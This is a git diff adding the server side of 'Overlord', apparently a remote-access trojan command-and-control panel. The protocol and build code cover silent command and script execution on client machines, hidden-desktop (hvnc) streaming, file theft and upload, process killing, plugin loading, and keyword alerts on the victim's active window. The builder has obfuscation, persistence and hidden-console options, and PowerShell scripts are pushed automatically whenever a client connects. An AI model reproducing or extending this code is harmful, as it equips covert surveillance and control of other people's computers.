+ deleteExpiredBuilds();
+ logger.info(`[db] Cleaned up expired builds`);
+
+ startMaintenanceLoops({
+ getClients: clientManager.getAllClients,
+ setOnlineState,
+ deleteClient: clientManager.deleteClient,
+ staleMs: STALE_MS,
+ pruneBatch: PRUNE_BATCH,
+ heartbeatIntervalMs: HEARTBEAT_INTERVAL_MS,
+ disconnectTimeoutMs: DISCONNECT_TIMEOUT_MS,
+ });
+
+ logServerStartup(server, TLS_CERT_PATH);
+}
+
+startServer();
+
+
+process.on("SIGINT", () => {
+ logger.info("\n[server] Shutting down gracefully...");
+ flushAuditLogsSync();
+ process.exit(0);
+});
+
+process.on("SIGTERM", () => {
+ logger.info("\n[server] Shutting down gracefully...");
+ flushAuditLogsSync();
+ process.exit(0);
+});
diff --git a/Overlord-Server/src/metrics.ts b/Overlord-Server/src/metrics.ts
new file mode 100644
index 0000000..19df2f2
--- /dev/null
+++ b/Overlord-Server/src/metrics.ts
@@ -0,0 +1,400 @@
+import os from "node:os";
+
+export interface MetricsSnapshot {
+ timestamp: number;
+ clients: {
+ total: number;
+ online: number;
+ offline: number;
+ byOS: Record;
+ byCountry: Record;
+ };
+ connections: {
+ totalConnections: number;
+ totalDisconnections: number;
+ activeConnections: number;
+ };
+ commands: {
+ total: number;
+ lastMinute: number;
+ lastHour: number;
+ byType: Record;
+ };
+ sessions: {
+ console: number;
+ remoteDesktop: number;
+ fileBrowser: number;
+ process: number;
+ };
+ bandwidth: {
+ sent: number;
+ received: number;
+ sentPerSecond: number;
+ receivedPerSecond: number;
+ };
+ server: {
+ uptime: number;
+ startTime: number;
+ memoryUsage: NodeJS.MemoryUsage;
+ systemMemory: {
+ total: number;
+ free: number;
+ used: number;
+ usedPercent: number;
+ };
+ cpu: {
+ cores: number;
+ loadAvg: [number, number, number];
+ };
+ };
+ ping: {
+ min: number | null;
+ max: number | null;
+ avg: number | null;
+ count: number;
+ };
+ http: {
+ total: number;
+ lastMinute: number;
+ lastMinuteErrors: number;
+ latencyAvg: number;
+ latencyP95: number;
+ };
+ eventLoop: {
+ avg: number;
+ max: number;
+ p95: number;
+ };
+}
+
+export interface MetricsHistory {
+ timestamp: number;
+ clientsOnline: number;
+ commandsPerMinute: number;
+ bandwidthSent: number;
+ bandwidthReceived: number;
+}
+
+class MetricsCollector {
+ private startTime: number = Date.now();
+
+ private totalConnections: number = 0;
+ private totalDisconnections: number = 0;
+
+ private commandCount: number = 0;
+ private commandTypeCount: Map = new Map();
+ private commandTimestamps: number[] = [];
+
+ private bytesSent: number = 0;
+ private bytesReceived: number = 0;
+ private lastBandwidthCheck: number = Date.now();
+ private lastBytesSent: number = 0;
+ private lastBytesReceived: number = 0;
+ private sentPerSecond: number = 0;
+ private receivedPerSecond: number = 0;
+
+ private history: MetricsHistory[] = [];
+ private maxHistoryPoints: number = 60;
+
+ private pingValues: number[] = [];
+ private maxPingHistory: number = 1000;
+
+ private httpTotal: number = 0;
+ private httpTimestamps: number[] = [];
+ private httpErrorTimestamps: number[] = [];
+ private httpLatencies: number[] = [];
+ private maxHttpLatencyHistory: number = 1000;
+
+ private eventLoopDelays: number[] = [];
+ private maxEventLoopHistory: number = 300;
+
+ constructor() {
+ setInterval(() => this.updateBandwidthRates(), 1000);
+
+ setInterval(() => this.recordHistory(), 5000);
+
+ this.trackEventLoopDelay();
+ }
+
+ recordConnection() {
+ this.totalConnections++;
+ }
+
+ recordDisconnection() {
+ this.totalDisconnections++;
+ }
+
+ recordCommand(type: string) {
+ this.commandCount++;
+ this.commandTimestamps.push(Date.now());
+
+ const count = this.commandTypeCount.get(type) || 0;
+ this.commandTypeCount.set(type, count + 1);
+
+ const oneHourAgo = Date.now() - 3600000;
+ this.commandTimestamps = this.commandTimestamps.filter(
+ (ts) => ts > oneHourAgo,
+ );
+ }
+
+ recordBytesSent(bytes: number) {
+ this.bytesSent += bytes;
+ }
+
+ recordBytesReceived(bytes: number) {
+ this.bytesReceived += bytes;
+ }
+
+ private updateBandwidthRates() {
+ const now = Date.now();
+ const elapsed = (now - this.lastBandwidthCheck) / 1000;
+
+ if (elapsed > 0) {
+ this.sentPerSecond = (this.bytesSent - this.lastBytesSent) / elapsed;
+ this.receivedPerSecond =
+ (this.bytesReceived - this.lastBytesReceived) / elapsed;
+
+ this.lastBytesSent = this.bytesSent;
+ this.lastBytesReceived = this.bytesReceived;
+ this.lastBandwidthCheck = now;
+ }
+ }
+
+ recordPing(pingMs: number) {
+ this.pingValues.push(pingMs);
+
+ if (this.pingValues.length > this.maxPingHistory) {
+ this.pingValues.shift();
+ }
+ }
+
+ private getPingStats() {
+ if (this.pingValues.length === 0) {
+ return { min: null, max: null, avg: null, count: 0 };
+ }
+
+ const min = Math.min(...this.pingValues);
+ const max = Math.max(...this.pingValues);
+ const sum = this.pingValues.reduce((a, b) => a + b, 0);
+ const avg = sum / this.pingValues.length;
+
+ return { min, max, avg, count: this.pingValues.length };
+ }
+
+ private recordHistory() {}
+
+ private trackEventLoopDelay() {
+ const intervalMs = 1000;
+ let last = Date.now();
+ setInterval(() => {
+ const now = Date.now();
+ const delay = Math.max(0, now - last - intervalMs);
+ this.eventLoopDelays.push(delay);
+ if (this.eventLoopDelays.length > this.maxEventLoopHistory) {
+ this.eventLoopDelays.shift();
+ }
+ last = now;
+ }, intervalMs);
+ }
+
+ recordHttpRequest(durationMs: number, statusCode: number) {
+ this.httpTotal++;
+ const now = Date.now();
+ this.httpTimestamps.push(now);
+ if (statusCode >= 400) {
+ this.httpErrorTimestamps.push(now);
+ }
+ if (Number.isFinite(durationMs)) {
+ this.httpLatencies.push(durationMs);
+ if (this.httpLatencies.length > this.maxHttpLatencyHistory) {
+ this.httpLatencies.shift();
+ }
+ }
+ }
+
+ async withHttpMetrics(handler: () => Promise): Promise {
+ const start = typeof performance !== "undefined" && performance.now
+ ? performance.now()
+ : Date.now();
+ try {
+ const response = await handler();
+ const end = typeof performance !== "undefined" && performance.now
+ ? performance.now()
+ : Date.now();
+ this.recordHttpRequest(end - start, response?.status ?? 0);
+ return response;
+ } catch (err) {
+ const end = typeof performance !== "undefined" && performance.now
+ ? performance.now()
+ : Date.now();
+ this.recordHttpRequest(end - start, 500);
+ throw err;
+ }
+ }
+
+ recordHistoryEntry(snapshot: MetricsSnapshot) {
+ const historyEntry: MetricsHistory = {
+ timestamp: snapshot.timestamp,
+ clientsOnline: snapshot.clients.online,
+ commandsPerMinute: snapshot.commands.lastMinute,
+ bandwidthSent: this.sentPerSecond,
+ bandwidthReceived: this.receivedPerSecond,
+ };
+
+ this.history.push(historyEntry);
+
+ if (this.history.length > this.maxHistoryPoints) {
+ this.history.shift();
+ }
+ }
+
+ getSnapshot(): MetricsSnapshot {
+ const now = Date.now();
+ const oneMinuteAgo = now - 60000;
+ const oneHourAgo = now - 3600000;
+
+ const commandsLastMinute = this.commandTimestamps.filter(
+ (ts) => ts > oneMinuteAgo,
+ ).length;
+ const commandsLastHour = this.commandTimestamps.filter(
+ (ts) => ts > oneHourAgo,
+ ).length;
+
+ const commandsByType: Record = {};
+ for (const [type, count] of this.commandTypeCount.entries()) {
+ commandsByType[type] = count;
+ }
+
+ const oneMinuteAgoForHttp = now - 60000;
+ const httpLastMinute = this.httpTimestamps.filter(
+ (ts) => ts > oneMinuteAgoForHttp,
+ ).length;
+ const httpErrorsLastMinute = this.httpErrorTimestamps.filter(
+ (ts) => ts > oneMinuteAgoForHttp,
+ ).length;
+
+ const httpLatencySamples = [...this.httpLatencies].sort((a, b) => a - b);
+ const httpLatencyAvg = httpLatencySamples.length
+ ? httpLatencySamples.reduce((a, b) => a + b, 0) / httpLatencySamples.length
+ : 0;
+ const httpP95Index = httpLatencySamples.length
+ ? Math.max(0, Math.floor(httpLatencySamples.length * 0.95) - 1)
+ : 0;
+ const httpLatencyP95 = httpLatencySamples.length
+ ? httpLatencySamples[httpP95Index] ?? 0
+ : 0;
+
+ const eventLoopSamples = [...this.eventLoopDelays].sort((a, b) => a - b);
+ const eventLoopAvg = eventLoopSamples.length
+ ? eventLoopSamples.reduce((a, b) => a + b, 0) / eventLoopSamples.length
+ : 0;
+ const eventLoopMax = eventLoopSamples.length
+ ? eventLoopSamples[eventLoopSamples.length - 1]
+ : 0;
+ const eventLoopP95Index = eventLoopSamples.length
+ ? Math.max(0, Math.floor(eventLoopSamples.length * 0.95) - 1)
+ : 0;
+ const eventLoopP95 = eventLoopSamples.length
+ ? eventLoopSamples[eventLoopP95Index] ?? 0
+ : 0;
+
+ const memoryUsage = process.memoryUsage();
+ const totalMem = os.totalmem();
+ const freeMem = os.freemem();
+ const usedMem = Math.max(0, totalMem - freeMem);
+ const usedPercent = totalMem > 0 ? (usedMem / totalMem) * 100 : 0;
+ const loadAvg = os.loadavg();
+ const loadTuple: [number, number, number] = [
+ loadAvg[0] ?? 0,
+ loadAvg[1] ?? 0,
+ loadAvg[2] ?? 0,
+ ];
+
+ return {
+ timestamp: now,
+ clients: {
+ total: 0,
+ online: 0,
+ offline: 0,
+ byOS: {},
+ byCountry: {},
+ },
+ connections: {
+ totalConnections: this.totalConnections,
+ totalDisconnections: this.totalDisconnections,
+ activeConnections: this.totalConnections - this.totalDisconnections,
+ },
+ commands: {
+ total: this.commandCount,
+ lastMinute: commandsLastMinute,
+ lastHour: commandsLastHour,
+ byType: commandsByType,
+ },
+ sessions: {
+ console: 0,
+ remoteDesktop: 0,
+ fileBrowser: 0,
+ process: 0,
+ },
+ bandwidth: {
+ sent: this.bytesSent,
+ received: this.bytesReceived,
+ sentPerSecond: this.sentPerSecond,
+ receivedPerSecond: this.receivedPerSecond,
+ },
+ server: {
+ uptime: now - this.startTime,
+ startTime: this.startTime,
+ memoryUsage,
+ systemMemory: {
+ total: totalMem,
+ free: freeMem,
+ used: usedMem,
+ usedPercent,
+ },
+ cpu: {
+ cores: os.cpus().length || 0,
+ loadAvg: loadTuple,
+ },
+ },
+ ping: this.getPingStats(),
+ http: {
+ total: this.httpTotal,
+ lastMinute: httpLastMinute,
+ lastMinuteErrors: httpErrorsLastMinute,
+ latencyAvg: httpLatencyAvg,
+ latencyP95: httpLatencyP95,
+ },
+ eventLoop: {
+ avg: eventLoopAvg,
+ max: eventLoopMax,
+ p95: eventLoopP95,
+ },
+ };
+ }
+
+ getHistory(): MetricsHistory[] {
+ return [...this.history];
+ }
+
+ reset() {
+ this.commandCount = 0;
+ this.commandTypeCount.clear();
+ this.commandTimestamps = [];
+ this.bytesSent = 0;
+ this.bytesReceived = 0;
+ this.lastBytesSent = 0;
+ this.lastBytesReceived = 0;
+ this.sentPerSecond = 0;
+ this.receivedPerSecond = 0;
+ this.pingValues = [];
+ this.history = [];
+ this.httpTotal = 0;
+ this.httpTimestamps = [];
+ this.httpErrorTimestamps = [];
+ this.httpLatencies = [];
+ this.eventLoopDelays = [];
+ }
+}
+
+export const metrics = new MetricsCollector();
diff --git a/Overlord-Server/src/paths.ts b/Overlord-Server/src/paths.ts
new file mode 100644
index 0000000..09fa1f0
--- /dev/null
+++ b/Overlord-Server/src/paths.ts
@@ -0,0 +1,23 @@
+import path from "path";
+import { existsSync, mkdirSync } from "fs";
+
+export function resolveDataDir(): string {
+ const envDir = process.env.DATA_DIR;
+ if (envDir && envDir.trim()) {
+ return envDir;
+ }
+
+ if (process.platform === "win32" && process.env.APPDATA) {
+ return path.join(process.env.APPDATA, "Overlord");
+ }
+
+ return "./data";
+}
+
+export function ensureDataDir(): string {
+ const dir = resolveDataDir();
+ if (!existsSync(dir)) {
+ mkdirSync(dir, { recursive: true });
+ }
+ return dir;
+}
\ No newline at end of file
diff --git a/Overlord-Server/src/protocol.test.ts b/Overlord-Server/src/protocol.test.ts
new file mode 100644
index 0000000..c274999
--- /dev/null
+++ b/Overlord-Server/src/protocol.test.ts
@@ -0,0 +1,40 @@
+import { describe, expect, test } from "bun:test";
+import {
+ decodeMessage,
+ encodeMessage,
+ type Hello,
+ type Ping,
+} from "./protocol";
+
+const sampleHello: Hello = {
+ type: "hello",
+ id: "client-123",
+ host: "host1",
+ os: "windows",
+ arch: "amd64",
+ version: "v1",
+ user: "user1",
+ monitors: 1,
+ country: "US",
+};
+
+describe("protocol encode/decode", () => {
+ test("round trips hello via msgpack", () => {
+ const encoded = encodeMessage(sampleHello);
+ const decoded = decodeMessage(encoded) as Hello;
+
+ expect(decoded.type).toBe("hello");
+ expect(decoded.id).toBe(sampleHello.id);
+ expect(decoded.os).toBe(sampleHello.os);
+ expect(decoded.arch).toBe(sampleHello.arch);
+ expect(decoded.country).toBe(sampleHello.country);
+ });
+
+ test("decodes JSON strings for compatibility", () => {
+ const pingJson = JSON.stringify({ type: "ping", ts: 123 } satisfies Ping);
+ const decoded = decodeMessage(pingJson) as Ping;
+
+ expect(decoded.type).toBe("ping");
+ expect(decoded.ts).toBe(123);
+ });
+});
diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts
new file mode 100644
index 0000000..4e5bd84
--- /dev/null
+++ b/Overlord-Server/src/protocol.ts
@@ -0,0 +1,285 @@
+import { encode, decode } from "@msgpack/msgpack";
+
+export type MessageKind =
+ | "hello"
+ | "hello_ack"
+ | "ping"
+ | "pong"
+ | "command"
+ | "command_result"
+ | "screenshot_result"
+ | "frame"
+ | "status"
+ | "plugin_event"
+ | "notification"
+ | "notification_config";
+
+export type Hello = {
+ type: "hello";
+ id: string;
+ host: string;
+ os: string;
+ arch: string;
+ version: string;
+ user: string;
+ monitors: number;
+ monitorInfo?: { width: number; height: number }[];
+ country?: string;
+};
+
+export type HelloAck = {
+ type: "hello_ack";
+ id: string;
+ commands?: Command[];
+ notification?: {
+ keywords: string[];
+ minIntervalMs?: number;
+ };
+};
+export type Ping = { type: "ping"; ts?: number };
+export type Pong = { type: "pong"; ts?: number };
+
+export type CommandType =
+ | "input"
+ | "remote_start"
+ | "remote_stop"
+ | "disconnect"
+ | "reconnect"
+ | "screenshot"
+ | "ping"
+ | "console_start"
+ | "console_input"
+ | "console_stop"
+ | "console_resize"
+ | "file_list"
+ | "file_download"
+ | "file_upload"
+ | "file_delete"
+ | "file_mkdir"
+ | "file_zip"
+ | "file_read"
+ | "file_write"
+ | "file_search"
+ | "file_copy"
+ | "file_move"
+ | "file_chmod"
+ | "file_execute"
+ | "silent_exec"
+ | "process_list"
+ | "process_kill"
+ | "plugin_load"
+ | "plugin_load_init"
+ | "plugin_load_chunk"
+ | "plugin_load_finish"
+ | "plugin_unload";
+
+export type Command = {
+ type: "command";
+ commandType: CommandType;
+ payload?: unknown;
+ id?: string;
+};
+
+export type CommandResult = {
+ type: "command_result";
+ commandId?: string;
+ ok: boolean;
+ message?: string;
+};
+
+export type ScreenshotResult = {
+ type: "screenshot_result";
+ commandId?: string;
+ format: "jpeg" | "webp" | "png" | string;
+ width?: number;
+ height?: number;
+ data: Uint8Array;
+ error?: string;
+};
+
+export type FrameHeader = {
+ monitor: number;
+ fps: number;
+ format: "jpeg" | "webp" | "raw";
+ hash?: string;
+ hvnc?: boolean;
+};
+
+export type Frame = { type: "frame"; header: FrameHeader; data: Uint8Array };
+export type Status = {
+ type: "status";
+ state: "idle" | "streaming" | "error";
+ detail?: string;
+};
+export type ConsoleOutput = {
+ type: "console_output";
+ sessionId: string;
+ data?: Uint8Array;
+ exitCode?: number;
+ error?: string;
+};
+
+export type FileEntry = {
+ name: string;
+ path: string;
+ isDir: boolean;
+ size: number;
+ modTime: number;
+ mode?: string;
+ owner?: string;
+ group?: string;
+};
+
+export type FileListResult = {
+ type: "file_list_result";
+ commandId?: string;
+ path: string;
+ entries: FileEntry[];
+ error?: string;
+};
+
+export type FileDownload = {
+ type: "file_download";
+ commandId?: string;
+ path: string;
+ data: Uint8Array;
+ offset: number;
+ total: number;
+ chunkIndex?: number;
+ chunksTotal?: number;
+ error?: string;
+};
+
+export type FileUploadResult = {
+ type: "file_upload_result";
+ commandId?: string;
+ transferId?: string;
+ path: string;
+ ok: boolean;
+ offset?: number;
+ size?: number;
+ received?: number;
+ total?: number;
+ error?: string;
+};
+
+export type ProcessInfo = {
+ pid: number;
+ ppid: number;
+ name: string;
+ cpu: number;
+ memory: number;
+ username?: string;
+ type?: string;
+};
+
+export type ProcessListResult = {
+ type: "process_list_result";
+ commandId?: string;
+ processes: ProcessInfo[];
+ error?: string;
+};
+
+export type FileReadResult = {
+ type: "file_read_result";
+ commandId?: string;
+ path: string;
+ content: string;
+ isBinary: boolean;
+ error?: string;
+};
+
+export type FileSearchResult = {
+ type: "file_search_result";
+ commandId?: string;
+ searchId: string;
+ results: Array<{
+ path: string;
+ line?: number;
+ match?: string;
+ }>;
+ complete: boolean;
+ error?: string;
+};
+
+export type ScriptResult = {
+ type: "script_result";
+ commandId?: string;
+ ok: boolean;
+ output?: string;
+ error?: string;
+};
+
+export type PluginManifest = {
+ id: string;
+ name: string;
+ version?: string;
+ description?: string;
+ binary?: string;
+ entry?: string;
+ assets?: {
+ html?: string;
+ css?: string;
+ js?: string;
+ };
+};
+
+export type PluginEvent = {
+ type: "plugin_event";
+ pluginId: string;
+ event: string;
+ payload?: unknown;
+ error?: string;
+};
+
+export type NotificationEvent = {
+ type: "notification";
+ category: "active_window";
+ title: string;
+ process?: string;
+ processPath?: string;
+ pid?: number;
+ keyword?: string;
+ ts?: number;
+};
+
+export type NotificationConfig = {
+ type: "notification_config";
+ keywords: string[];
+ minIntervalMs?: number;
+};
+
+export type WireMessage =
+ | Hello
+ | HelloAck
+ | Ping
+ | Pong
+ | Command
+ | CommandResult
+ | ScreenshotResult
+ | Frame
+ | Status
+ | ConsoleOutput
+ | FileListResult
+ | FileDownload
+ | FileUploadResult
+ | ProcessListResult
+ | FileReadResult
+ | FileSearchResult
+ | ScriptResult
+ | PluginEvent
+ | NotificationEvent
+ | NotificationConfig;
+
+export function encodeMessage(msg: WireMessage): Uint8Array {
+ return encode(msg);
+}
+
+export function decodeMessage(
+ input: Uint8Array | ArrayBuffer | string,
+): WireMessage {
+ if (typeof input === "string") {
+ return JSON.parse(input) as WireMessage;
+ }
+ return decode(input) as WireMessage;
+}
diff --git a/Overlord-Server/src/rateLimit.test.ts b/Overlord-Server/src/rateLimit.test.ts
new file mode 100644
index 0000000..8f7f516
--- /dev/null
+++ b/Overlord-Server/src/rateLimit.test.ts
@@ -0,0 +1,26 @@
+import { describe, expect, test } from "bun:test";
+import { isRateLimited, recordFailedAttempt, recordSuccessfulAttempt } from "./rateLimit";
+
+describe("rateLimit", () => {
+ test("locks out after repeated failures", () => {
+ const ip = `10.0.0.${Date.now()}`;
+ for (let i = 0; i < 5; i += 1) {
+ recordFailedAttempt(ip);
+ }
+
+ const result = isRateLimited(ip);
+ expect(result.limited).toBe(true);
+ expect(result.retryAfter).toBeGreaterThan(0);
+ });
+
+ test("successful attempt clears lock state", () => {
+ const ip = `10.0.1.${Date.now()}`;
+ for (let i = 0; i < 5; i += 1) {
+ recordFailedAttempt(ip);
+ }
+ expect(isRateLimited(ip).limited).toBe(true);
+
+ recordSuccessfulAttempt(ip);
+ expect(isRateLimited(ip).limited).toBe(false);
+ });
+});
diff --git a/Overlord-Server/src/rateLimit.ts b/Overlord-Server/src/rateLimit.ts
new file mode 100644
index 0000000..ab2434b
--- /dev/null
+++ b/Overlord-Server/src/rateLimit.ts
@@ -0,0 +1,119 @@
+import { logger } from "./logger";
+
+interface RateLimitEntry {
+ attempts: number;
+ firstAttempt: number;
+ lockedUntil?: number;
+}
+
+const rateLimitStore = new Map();
+
+const MAX_ATTEMPTS = 5;
+const WINDOW_MS = 15 * 60 * 1000;
+const LOCKOUT_MS = 30 * 60 * 1000;
+const CLEANUP_INTERVAL = 60 * 1000;
+
+export function isRateLimited(ip: string): {
+ limited: boolean;
+ retryAfter?: number;
+} {
+ const entry = rateLimitStore.get(ip);
+
+ if (!entry) {
+ return { limited: false };
+ }
+
+ const now = Date.now();
+
+ if (entry.lockedUntil && entry.lockedUntil > now) {
+ const retryAfter = Math.ceil((entry.lockedUntil - now) / 1000);
+ return { limited: true, retryAfter };
+ }
+
+ if (now - entry.firstAttempt > WINDOW_MS) {
+ rateLimitStore.delete(ip);
+ return { limited: false };
+ }
+
+ if (entry.attempts >= MAX_ATTEMPTS) {
+ entry.lockedUntil = now + LOCKOUT_MS;
+ const retryAfter = Math.ceil(LOCKOUT_MS / 1000);
+ logger.warn(
+ `[rate-limit] IP ${ip} locked out for ${retryAfter}s after ${entry.attempts} failed attempts`,
+ );
+ return { limited: true, retryAfter };
+ }
+
+ return { limited: false };
+}
+
+export function recordFailedAttempt(ip: string): void {
+ const now = Date.now();
+ const entry = rateLimitStore.get(ip);
+
+ if (!entry) {
+ rateLimitStore.set(ip, {
+ attempts: 1,
+ firstAttempt: now,
+ });
+ return;
+ }
+
+ if (now - entry.firstAttempt > WINDOW_MS) {
+ rateLimitStore.set(ip, {
+ attempts: 1,
+ firstAttempt: now,
+ });
+ return;
+ }
+
+ entry.attempts++;
+ logger.debug(
+ `[rate-limit] IP ${ip} failed attempt ${entry.attempts}/${MAX_ATTEMPTS}`,
+ );
+}
+
+export function recordSuccessfulAttempt(ip: string): void {
+ rateLimitStore.delete(ip);
+}
+
+function cleanupExpired(): void {
+ const now = Date.now();
+ let cleaned = 0;
+
+ for (const [ip, entry] of rateLimitStore.entries()) {
+ const windowExpired = now - entry.firstAttempt > WINDOW_MS;
+ const lockoutExpired = entry.lockedUntil && entry.lockedUntil < now;
+
+ if ((windowExpired && !entry.lockedUntil) || lockoutExpired) {
+ rateLimitStore.delete(ip);
+ cleaned++;
+ }
+ }
+
+ if (cleaned > 0) {
+ logger.debug(`[rate-limit] Cleaned up ${cleaned} expired entries`);
+ }
+}
+
+export function getRateLimitStats(): { total: number; locked: number } {
+ const now = Date.now();
+ let locked = 0;
+
+ for (const entry of rateLimitStore.values()) {
+ if (entry.lockedUntil && entry.lockedUntil > now) {
+ locked++;
+ }
+ }
+
+ return {
+ total: rateLimitStore.size,
+ locked,
+ };
+}
+
+setInterval(cleanupExpired, CLEANUP_INTERVAL);
+
+logger.info(
+ `[rate-limit] Initialized: ${MAX_ATTEMPTS} attempts per ${WINDOW_MS / 60000} minutes, ${LOCKOUT_MS / 60000} minute lockout`,
+);
diff --git a/Overlord-Server/src/rbac.ts b/Overlord-Server/src/rbac.ts
new file mode 100644
index 0000000..f62f8d8
--- /dev/null
+++ b/Overlord-Server/src/rbac.ts
@@ -0,0 +1,105 @@
+import { type AuthenticatedUser } from "./auth";
+import { hasPermission, type UserRole } from "./users";
+
+export type Permission =
+ | "users:manage"
+ | "clients:control"
+ | "clients:view"
+ | "audit:view";
+
+export function checkPermission(
+ user: AuthenticatedUser | null,
+ permission: Permission,
+): boolean {
+ if (!user) return false;
+ return hasPermission(user.role, permission);
+}
+
+export function checkAnyPermission(
+ user: AuthenticatedUser | null,
+ permissions: Permission[],
+): boolean {
+ if (!user) return false;
+ return permissions.some((p) => hasPermission(user.role, p));
+}
+
+export function checkAllPermissions(
+ user: AuthenticatedUser | null,
+ permissions: Permission[],
+): boolean {
+ if (!user) return false;
+ return permissions.every((p) => hasPermission(user.role, p));
+}
+
+export function requireAuth(user: AuthenticatedUser | null): AuthenticatedUser {
+ if (!user) {
+ throw new Response("Unauthorized", { status: 401 });
+ }
+ return user;
+}
+
+export function requirePermission(
+ user: AuthenticatedUser | null,
+ permission: Permission,
+): AuthenticatedUser {
+ const authedUser = requireAuth(user);
+
+ if (!checkPermission(authedUser, permission)) {
+ throw new Response("Forbidden: Insufficient permissions", { status: 403 });
+ }
+
+ return authedUser;
+}
+
+export function requireAnyPermission(
+ user: AuthenticatedUser | null,
+ permissions: Permission[],
+): AuthenticatedUser {
+ const authedUser = requireAuth(user);
+
+ if (!checkAnyPermission(authedUser, permissions)) {
+ throw new Response("Forbidden: Insufficient permissions", { status: 403 });
+ }
+
+ return authedUser;
+}
+
+export function getPermissionDescription(permission: Permission): string {
+ switch (permission) {
+ case "users:manage":
+ return "Manage users and roles";
+ case "clients:control":
+ return "Control clients (execute commands, desktop, console, files)";
+ case "clients:view":
+ return "View connected clients";
+ case "audit:view":
+ return "View audit logs";
+ default:
+ return "Unknown permission";
+ }
+}
+
+export function getRoleDescription(role: UserRole): string {
+ switch (role) {
+ case "admin":
+ return "Full access - can manage users and control all clients";
+ case "operator":
+ return "Can control clients but cannot manage users";
+ case "viewer":
+ return "Read-only access to view clients";
+ default:
+ return "Unknown role";
+ }
+}
+
+export function getRolePermissions(role: UserRole): Permission[] {
+ const permissions: Permission[] = [];
+
+ if (hasPermission(role, "users:manage")) permissions.push("users:manage");
+ if (hasPermission(role, "clients:control"))
+ permissions.push("clients:control");
+ if (hasPermission(role, "clients:view")) permissions.push("clients:view");
+ if (hasPermission(role, "audit:view")) permissions.push("audit:view");
+
+ return permissions;
+}
diff --git a/Overlord-Server/src/server/agent-auth.ts b/Overlord-Server/src/server/agent-auth.ts
new file mode 100644
index 0000000..702fe64
--- /dev/null
+++ b/Overlord-Server/src/server/agent-auth.ts
@@ -0,0 +1,33 @@
+import { logger } from "../logger";
+
+export function isAuthorizedAgentRequest(
+ req: Request,
+ url: URL,
+ agentToken?: string,
+): boolean {
+ const disableAuth =
+ String(process.env.OVERLORD_DISABLE_AGENT_AUTH || "").toLowerCase() ===
+ "true";
+ if (disableAuth) {
+ logger.info("[auth] Agent auth explicitly disabled by OVERLORD_DISABLE_AGENT_AUTH=true");
+ return true;
+ }
+
+ const token = agentToken?.trim();
+ if (!token) {
+ logger.info("[auth] Agent auth disabled");
+ return true;
+ }
+
+ const headerToken = req.headers.get("x-agent-token");
+ const queryToken = url.searchParams.get("token");
+ const isAuthed = headerToken === token || queryToken === token;
+
+ if (!isAuthed) {
+ logger.info("[auth] Agent auth failed");
+ } else {
+ logger.info("[auth] Agent authenticated successfully");
+ }
+
+ return isAuthed;
+}
diff --git a/Overlord-Server/src/server/auto-script-dispatch.ts b/Overlord-Server/src/server/auto-script-dispatch.ts
new file mode 100644
index 0000000..ff09080
--- /dev/null
+++ b/Overlord-Server/src/server/auto-script-dispatch.ts
@@ -0,0 +1,79 @@
+import type { ServerWebSocket } from "bun";
+import { v4 as uuidv4 } from "uuid";
+import { hasAutoScriptRun, getAutoScriptsByTrigger, recordAutoScriptRun } from "../db";
+import { logger } from "../logger";
+import { metrics } from "../metrics";
+import { encodeMessage } from "../protocol";
+import type { SocketData } from "../sessions/types";
+import type { ClientInfo } from "../types";
+import { logAudit, AuditAction } from "../auditLog";
+import { ALLOWED_SCRIPT_TYPES } from "./validation-constants";
+
+export function dispatchAutoScriptsForConnection(
+ info: ClientInfo,
+ ws: ServerWebSocket,
+): void {
+ if (info.role !== "client") return;
+ if (ws.data?.autoTasksRan) return;
+
+ const isNewClient = ws.data?.wasKnown === false;
+ const onConnect = getAutoScriptsByTrigger("on_connect");
+ const onFirst = isNewClient ? getAutoScriptsByTrigger("on_first_connect") : [];
+ const onConnectOnce = getAutoScriptsByTrigger("on_connect_once");
+ const scripts = [...onConnect, ...onFirst, ...onConnectOnce];
+
+ if (scripts.length === 0) {
+ ws.data.autoTasksRan = true;
+ return;
+ }
+
+ for (const script of scripts) {
+ if (script.trigger === "on_connect_once") {
+ if (hasAutoScriptRun(script.id, info.id)) {
+ continue;
+ }
+ recordAutoScriptRun(script.id, info.id);
+ }
+
+ const scriptType = ALLOWED_SCRIPT_TYPES.has(script.scriptType)
+ ? script.scriptType
+ : "powershell";
+ const cmdId = uuidv4();
+
+ try {
+ info.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "script_exec" as any,
+ id: cmdId,
+ payload: { script: script.script, type: scriptType },
+ }),
+ );
+ metrics.recordCommand("script_exec");
+ logAudit({
+ timestamp: Date.now(),
+ username: "system",
+ ip: "server",
+ action: AuditAction.SCRIPT_EXECUTE,
+ targetClientId: info.id,
+ success: true,
+ details: `auto:${script.name} (${scriptType}) trigger=${script.trigger}`,
+ });
+ logger.info(`[auto-script] dispatched ${script.id} (${script.trigger}) to ${info.id}`);
+ } catch (err) {
+ logger.warn(`[auto-script] failed to dispatch ${script.id} to ${info.id}`, err);
+ logAudit({
+ timestamp: Date.now(),
+ username: "system",
+ ip: "server",
+ action: AuditAction.SCRIPT_EXECUTE,
+ targetClientId: info.id,
+ success: false,
+ details: `auto:${script.name} (${scriptType}) trigger=${script.trigger}`,
+ errorMessage: (err as Error)?.message || "send failed",
+ });
+ }
+ }
+
+ ws.data.autoTasksRan = true;
+}
diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts
new file mode 100644
index 0000000..a40c0ba
--- /dev/null
+++ b/Overlord-Server/src/server/build-process.ts
@@ -0,0 +1,267 @@
+import { $ } from "bun";
+import path from "path";
+import fs from "fs";
+import { saveBuild } from "../db";
+import { logger } from "../logger";
+import { getConfig } from "../config";
+import * as buildManager from "../build/buildManager";
+import type { BuildStream } from "../build/types";
+import { ALLOWED_PLATFORMS } from "./validation-constants";
+import { resolveRuntimeRoot } from "./runtime-paths";
+
+type BuildProcessConfig = {
+ platforms: string[];
+ serverUrl?: string;
+ rawServerList?: boolean;
+ mutex?: string;
+ disableMutex?: boolean;
+ stripDebug?: boolean;
+ disableCgo?: boolean;
+ obfuscate?: boolean;
+ enablePersistence?: boolean;
+ hideConsole?: boolean;
+ noPrinting?: boolean;
+};
+
+type BuildProcessDeps = {
+ generateBuildMutex: (length?: number) => string;
+ sanitizeOutputName: (name: string) => string;
+};
+
+export async function startBuildProcess(
+ buildId: string,
+ config: BuildProcessConfig,
+ deps: BuildProcessDeps,
+): Promise {
+ const SEVEN_DAYS_MS = 7 * 24 * 60 * 60 * 1000;
+ const now = Date.now();
+
+ const build: BuildStream = {
+ id: buildId,
+ controllers: [],
